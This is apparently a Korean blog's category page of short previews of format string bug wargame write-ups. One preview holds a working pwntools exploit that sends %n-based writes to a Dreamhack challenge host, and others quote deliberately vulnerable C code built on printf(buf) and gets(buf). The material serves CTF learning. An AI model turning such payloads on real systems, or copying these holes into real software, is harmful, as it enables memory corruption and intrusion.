목록FSB (5)
보호되어 있는 글입니다.

https://dreamhack.io/wargame/challenges/5/

https://dreamhack.io/wargame/challenges/4/ dec(34297) 0x10804 - 0x8609 = 0x81fb -> dec(33275) exploit code from pwn import * p = remote("host1.dreamhack.games", 19427) code = '\x90'*4 +'\x24\xa0\x04\x08'+'\x90'*4+'\x26\xa0\x04\x08' code += "%34297d%n" + "%33275d%n" p.send(code) p.interactive() FSB가 처음에 이해가 안 가도 하다 보면 이해가 간다. 많이 풀어보도록 하자. FSB 공격 라이브러리가 있긴 한데 처음에 원리를 이해하기 위해 직접 해보도록 하자

void vuln(){ char buf[128]; puts("EXPLOIT:\n"); puts("Here we go, I'll be nice and read three inputs, and all three will be outputted with printf as its first paramter.\n"); puts("However, no overflows, I won't take more than 128 characters at a time. :pensive:\n"); puts("Give me your first input:"); fgets(buf, sizeof(buf), stdin); printf(buf); puts(""); puts("Nice, now give me your second input..

사진으로 남겨둔게 없어서 일단 코드부터 보겠음 그냥 연습문제라는데 ROP, FSB 둘다 해야함 void rop(){ char buf[0x40]; gets(buf); //here is the overflow vuln, rest is info puts(""); stkstrt(); stk(buf, 0x0, "(buf strt)"); for(int i = 0x1; i < 0x7; i++) stk(buf, i, ""); stk(buf, 0x7, "(buf end)"); stk(buf, 0x8, ""); stk(buf, 0x9, "(canary)"); stk(buf, 0xa, "(rop func base ptr)"); stk(buf, 0xb, "(rop func return ptr)"); stk(buf, 0xc, ..